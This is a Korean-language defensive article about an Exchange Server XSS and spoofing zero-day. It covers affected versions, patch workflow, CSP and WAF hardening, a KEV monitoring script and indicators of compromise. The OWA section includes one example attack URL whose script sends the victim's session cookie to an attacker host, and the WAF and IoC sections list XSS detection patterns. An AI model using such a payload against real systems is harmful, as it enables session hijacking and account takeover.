Exchange Server 제로데이 XSS 취약점 대응 아키텍처

CISA KEV에 오른 Exchange 제로데이의 대응 범위

CVE-2026-42897은 Microsoft Exchange Server의 XSS와 스푸핑 취약점이 함께 작용하는 고위험 제로데이다. 2026년 5월 14일 공개 당일 CISA KEV(Known Exploited Vulnerabilities) 카탈로그에 등재됐고, 야생에서 적극적으로 악용되는 사례도 다수 확인됐다.

영향 대상은 Exchange Server SE, 2016, 2019 전반이다. CVSS v3.1 기본 점수는 8.8(High)이며, 인증된 원격 공격자는 악성 스크립트를 삽입해 사용자의 브라우저 세션에서 임의 코드를 실행할 수 있다.

제품명	버전	영향 여부	패치 여부
Exchange Server SE	모든 CU	영향 있음	2026-05-14 긴급 패치
Exchange Server 2019	CU14 이하	영향 있음	2026-05-14 긴급 패치
Exchange Server 2016	CU23 이하	영향 있음	2026-05-14 긴급 패치
Exchange Online (M365)	—	영향 없음	클라우드 자동 패치

Exchange Online(Microsoft 365)은 클라우드 인프라에서 자동 패치가 적용돼 영향을 받지 않는다. 반면 온프레미스 Exchange Server는 취약하다. 금융·공공·의료 분야에서 온프레미스 Exchange가 여전히 운영된다는 점이 이 이슈의 노출 범위를 넓힌다.

OWA 렌더링 경로에서 시작되는 XSS와 스푸핑

문제의 중심은 이메일 본문과 첨부파일 메타데이터를 처리하는 Exchange Server 렌더링 파이프라인이다. 특수 조작된 HTML 이메일이나 악성 URL 파라미터가 OWA 세션 컨텍스트에서 JavaScript 실행으로 이어질 수 있다.

OWA 검색 기능과 캘린더 공유 인터페이스가 대표적인 반사형 XSS 발생 지점이다. 사용자 입력을 URL 파라미터로 받아 페이지에 다시 렌더링하는 과정에서 인코딩이 충분하지 않으면, 삽입된 스크립트가 피해자 브라우저에서 실행된다.

공격 URL 패턴 예시:
https://exchange.corp.com/owa/calendar/share?subject=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

OWA가 해당 값을 HTML 응답에 직접 포함하면 링크를 클릭한 사용자의 세션 쿠키가 공격자 서버로 전송될 수 있다. 이후 공격자는 피해자 계정으로 이메일을 열람·발송하거나 전달 규칙을 설정할 수 있다.

스푸핑 취약점은 이메일 헤더 검증 로직을 우회해, 공격자가 신뢰 가능한 내부 발신자로 위장한 메일을 보내도록 만든다. 이 메일에 악성 OWA 링크가 포함되면 피해자는 내부 메일로 인식해 링크를 클릭하고, XSS 실행과 세션 하이재킹으로 이어질 수 있다. 탈취된 권한은 이메일 접근과 내부 네트워크 정보 수집에 사용될 수 있다.

보안 연구자들은 이 취약점이 내부적으로 알려진 Exchange 인증 우회 취약점(CVE-2024-21410 유사 패턴)과 결합될 경우 완전한 RCE 체인이 구성됨을 확인했다. NTLM 릴레이 공격까지 이어지면 도메인 관리자 권한 탈취가 가능해져 영향이 급격히 커진다.

⤢✕

서버 세대별로 확인할 영향 범위

Exchange Server SE(Subscription Edition)는 Microsoft가 2025년 출시한 구독 기반 최신 버전이다. OWA UI가 리뉴얼됐지만 새 렌더링 엔진에서 이 XSS 취약점이 발생했다. 최신 버전을 운영하는 조직이라도 패치 적용 전 테스트 절차는 신중하게 진행해야 한다.

Exchange Server 2019는 온프레미스 환경에서 가장 광범위하게 배포된 버전이며, 금융권과 공공기관 비중이 높다. CU14 이하가 모두 영향을 받고, 2026년 5월 기준 CU12-CU13에 머물러 있는 조직도 상당수다. CU 적용을 장기간 미뤘다면 이 취약점 외에도 누적 취약점이 존재할 가능성을 함께 점검해야 한다.

Exchange Server 2016은 CU23 이하가 영향 대상이다. 2025년 10월 기준 Extended Support 종료(EOL) 예정이었으나, 여전히 운영 중인 조직이 다수다. EOL 이후에도 CVE-2026-42897 패치가 제공된 것은 Microsoft가 이 취약점의 심각성을 인정한 것으로 볼 수 있다. 다만 2016은 이미 EOL 상태이므로 이후 신규 취약점 패치가 보장되지 않아 버전 업그레이드가 필요하다.

KEV 등재는 일반 취약점 공지와 다르다

CISA KEV는 미국 사이버보안 인프라보안국(CISA)이 실제 야생 악용이 확인된 취약점을 관리하는 공식 카탈로그다. CVE-2026-42897이 공개일인 2026년 5월 14일에 즉시 등재됐다는 것은 패치가 없는 상태에서 이미 공격이 발생하고 있음을 뜻한다.

미국 연방기관은 BOD 22-01에 따라 등재일로부터 14일 이내 패치해야 한다. 국내 공공기관은 KISA·NCSC 권고에 따라 즉시 패치 적용이 필요하며, 민간 기업도 사이버보험·컴플라이언스·이사회 보고 요건 때문에 사실상 즉각적인 대응이 요구된다.

기관 유형	근거	패치 기한	비고
미국 연방기관	BOD 22-01	등재 후 14일 이내	법적 의무, CISA 보고 필요
국내 공공기관	KISA·NCSC 권고	즉시 (CC-2026-0514)	권고 기반, 사실상 의무
민간 기업	사이버보험·컴플라이언스	자체 판단	이사회 보고 요건 검토 필요

패치 전 완화책으로 CISA는 OWA를 인터넷에서 차단하거나 IP 접근 제어를 강화할 것을 권고했다. OWA 외부 접근을 VPN으로 제한하는 조치는 패치 적용 전 가장 중요한 임시 방어선이다.

패치 이후에도 남겨야 할 방어 레이어

긴급 패치는 우선순위가 가장 높지만, Exchange XSS 대응을 단일 패치에만 맡길 수는 없다. OWA 앞단과 메일 유입 경로, 서버 설정, 탐지 체계를 겹쳐 두는 심층 방어가 필요하다.

CSP로 브라우저 실행 범위 좁히기

OWA에 CSP(Content Security Policy) 헤더를 적용하면 XSS가 발생하더라도 피해 범위를 줄일 수 있다. Exchange Server의 web.config 또는 IIS 레벨에서 다음과 같이 설정할 수 있다.

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

script-src의 nonce 기반 정책은 인라인 스크립트 삽입을 막는다. frame-ancestors 'none'은 클릭재킹 방어에도 사용된다.

WAF에서 입력 패턴 걸러내기

Exchange 앞단에 WAF(Web Application Firewall)를 두면 XSS 패턴을 실시간으로 탐지·차단할 수 있다. Microsoft Defender for Identity 또는 F5 BIG-IP, Palo Alto Prisma, AWS WAF 등을 역방향 프록시 형태로 구성하는 방식이 권장된다.

WAF 규칙에는 <script>, </script> 태그, javascript:, vbscript: 스키마, onerror=, onload=, onmouseover= 등의 이벤트 핸들러를 포함해야 한다. <, %3Cscript%3E처럼 Unicode·URL 인코딩으로 우회하는 패턴도 탐지 대상이다.

출력 인코딩과 OWA 가상 디렉터리 설정

서버가 사용자 입력을 HTML 컨텍스트에 출력할 때는 HTML 엔티티 인코딩이 필요하다. Exchange 패치가 이 지점을 수정하더라도, IIS URL Rewrite 모듈이나 Exchange 관리 셸 설정으로 추가 방어 레이어를 둘 수 있다.

# Exchange 관리 셸: OWA 보안 설정 강화
Set-OwaVirtualDirectory -Identity "Exchange\OWA (Default Web Site)" `
    -FormsAuthentication $true `
    -BasicAuthentication $false `
    -WindowsAuthentication $false `
    -DigestAuthentication $false
    
# X-XSS-Protection 헤더 활성화 (IIS 레벨)
Add-WebConfigurationProperty -PSPath 'MACHINE/WEBROOT/APPHOST' `
    -Filter "system.webServer/httpProtocol/customHeaders" `
    -Name "." `
    -Value @{name='X-XSS-Protection';value='1; mode=block'}

메일 유입 경로에서 악성 HTML 차단

이메일 본문이 XSS 전달 수단이 되는 경우에는 메일 필터링 레이어도 강화해야 한다.

⤢✕

Microsoft Defender for Office 365의 Safe Links는 이메일 URL을 실시간으로 검사해 악성 링크를 차단한다. XSS 페이로드가 포함된 OWA URL도 Safe Links 리라이팅 과정에서 탐지될 수 있다.

KEV 경보에서 운영 반영까지 이어지는 긴급 패치 흐름

CVE-2026-42897처럼 CISA KEV에 오른 제로데이는 기존 정기 패치 사이클과 별도 흐름으로 다뤄야 한다. 경보 수신, 환경별 우선순위 결정, 검증, 롤아웃, 롤백을 하나의 운영 경로로 연결해야 한다.

CISA KEV는 JSON API(https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json)를 제공한다. Exchange 관련 CVE가 새로 등재될 때 알림을 받도록 자동화할 수 있다.

# CISA KEV 모니터링 스크립트 예시
import requests, json
from datetime import datetime, timedelta

def check_kev_exchange():
    resp = requests.get("https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json")
    kev_data = resp.json()
    
    cutoff = datetime.now() - timedelta(days=7)
    exchange_vulns = [
        v for v in kev_data['vulnerabilities']
        if 'Exchange' in v.get('product', '')
        and datetime.fromisoformat(v['dateAdded']) > cutoff
    ]
    return exchange_vulns

우선순위는 CVSS만으로 정하지 않는다. Exchange의 인터넷 직접 노출 여부, 처리 데이터, 허용 가능한 다운타임을 포함해 Environmental Score를 산출해야 한다.

긴급 패치 우선순위 결정 매트릭스:
- CISA KEV 등재 + CVSS ≥ 8.0 + 인터넷 노출 → P0 (4시간 내 패치 착수)
- CISA KEV 등재 + CVSS ≥ 8.0 + VPN 내부만 → P1 (24시간 내)
- CISA KEV 등재 + CVSS < 8.0 + 인터넷 노출 → P1 (24시간 내)
- CVE 공개만 (KEV 미등재) + CVSS ≥ 9.0 → P2 (7일 내)

긴급 패치도 프로덕션에 바로 적용하면 Exchange 서비스 장애 위험이 있다. 최소한 스테이징에서 30-60분 검증한 뒤 반영한다. 이때 OWA 로그인과 이메일 송수신, Exchange 관리 센터(EAC) 접근, 이메일 흐름 규칙(Transport Rules), 모바일 ActiveSync, Autodiscover 서비스의 정상 동작을 확인한다.

DAG(Database Availability Group) 환경에서는 서버를 순차적으로 패치한다. DAG가 없는 단독 서버라면 패치 전에 전체 스냅샷 또는 VSS 백업을 수행해야 한다.

⤢✕

DAG 멤버는 활성 데이터베이스를 이동한 뒤 유지보수 모드로 전환하고, 패치와 서비스 확인이 끝난 후 다시 복귀시킨다.

# 1. DAG 멤버 1에서 유지보수 모드 시작
Set-ServerComponentState -Identity EXCH01 -Component ServerWideOffline -State Inactive -Requester Maintenance

# 2. 활성 데이터베이스 이동 (EXCH01 → EXCH02)
Move-ActiveMailboxDatabase -Server EXCH01

# 3. DAG에서 일시 제거
Suspend-MailboxDatabaseCopy -Identity "DB01\EXCH01"

# 4. 패치 적용 (GUI 또는 명령줄)
# Exchange 2019 CU14 + 2026년 5월 긴급 보안 업데이트 설치

# 5. 서비스 정상 확인 후 유지보수 모드 해제
Set-ServerComponentState -Identity EXCH01 -Component ServerWideOffline -State Active -Requester Maintenance
Resume-MailboxDatabaseCopy -Identity "DB01\EXCH01"

야생 악용 흔적을 모니터링하는 방법

CVE-2026-42897의 KEV 등재는 실제 공격 캠페인이 진행 중이라는 신호다. 위협 인텔리전스 보고에서는 스푸핑된 내부 발신자 메일로 악성 OWA 링크를 배포하는 피싱·스피어피싱 흐름이 관측됐다. 공격자는 “시스템 보안 업데이트 필요”, “비밀번호 만료 안내” 같은 사회공학적 미끼를 사용했고, 링크 클릭 뒤 XSS를 실행해 세션 토큰을 공격자 서버로 전송했다.

관측된 C2(Command and Control) 인프라는 GitHub Pages, Cloudflare Workers 같은 정상 클라우드 서비스를 C2 프록시로 활용했다. DGA로 C2 도메인을 지속 교체하고, Exchange 서버와 유사한 TLS 인증서 패턴을 모방해 탐지를 우회하는 방식도 포함됐다.

CISA 보고에 따르면 CVE-2026-42897을 가장 먼저 활용한 것은 국가 지원 APT 그룹으로 추정된다. 정부기관, 방위산업체, 에너지 인프라를 주요 표적으로 삼는 그룹이 Exchange를 초기 거점(Initial Access)으로 사용하는 패턴이 확인됐다. 이 공격 체인에서는 Exchange RCE를 통한 웹셸(WebShell) 설치, LSASS 메모리 덤프를 통한 크리덴셜 수집, Active Directory 측면 이동(Lateral Movement), 데이터 유출 전 Dwell Time 60-90일의 장기 잠복이 나타났다.

다음 IoC를 보안 모니터링에 반영해야 한다.

네트워크 IoC:
- OWA 접근 로그에서 <script>, %3cscript, &#60;script 패턴 검색
- 비정상적인 User-Agent 문자열 (자동화 도구 패턴)
- 짧은 시간 내 다수 OWA URL 파라미터 변조 요청

시스템 IoC:
- Exchange 웹셸 경로: C:\inetpub\wwwroot\aspnet_client\*
- 비정상 Exchange 워커 프로세스(w3wp.exe) 자식 프로세스 생성
- Exchange 진단 로그의 비정상 오류 코드 패턴

Exchange 보안 레이어를 하나의 운영 체계로 묶기

OWA와 메일 수신 경로의 방어, Exchange 서버 설정, KEV 모니터링, SIEM·SOAR 탐지를 분리된 통제로 두지 말고 하나의 대응 아키텍처로 연결해야 한다.

⤢✕

우선 OWA의 외부 직접 접근을 VPN으로 제한하고, Exchange SE·2019·2016에 2026년 5월 긴급 보안 업데이트를 적용해야 한다. 이후에도 WAF, CSP, 메일 필터를 유지해 유사 취약점의 공격 경로를 줄여야 한다. CISA KEV 자동 모니터링은 Exchange 관련 신규 취약점이 등재됐을 때 4시간 내 대응 절차를 시작하는 기반이 된다.

이번 사례는 온프레미스 Exchange 운영 위험을 다시 확인시킨다. 긴급 대응 역량을 보완하는 동시에 Exchange Online 마이그레이션 검토를 가속하는 일도 장기적 리스크 감소 전략으로 고려할 수 있다.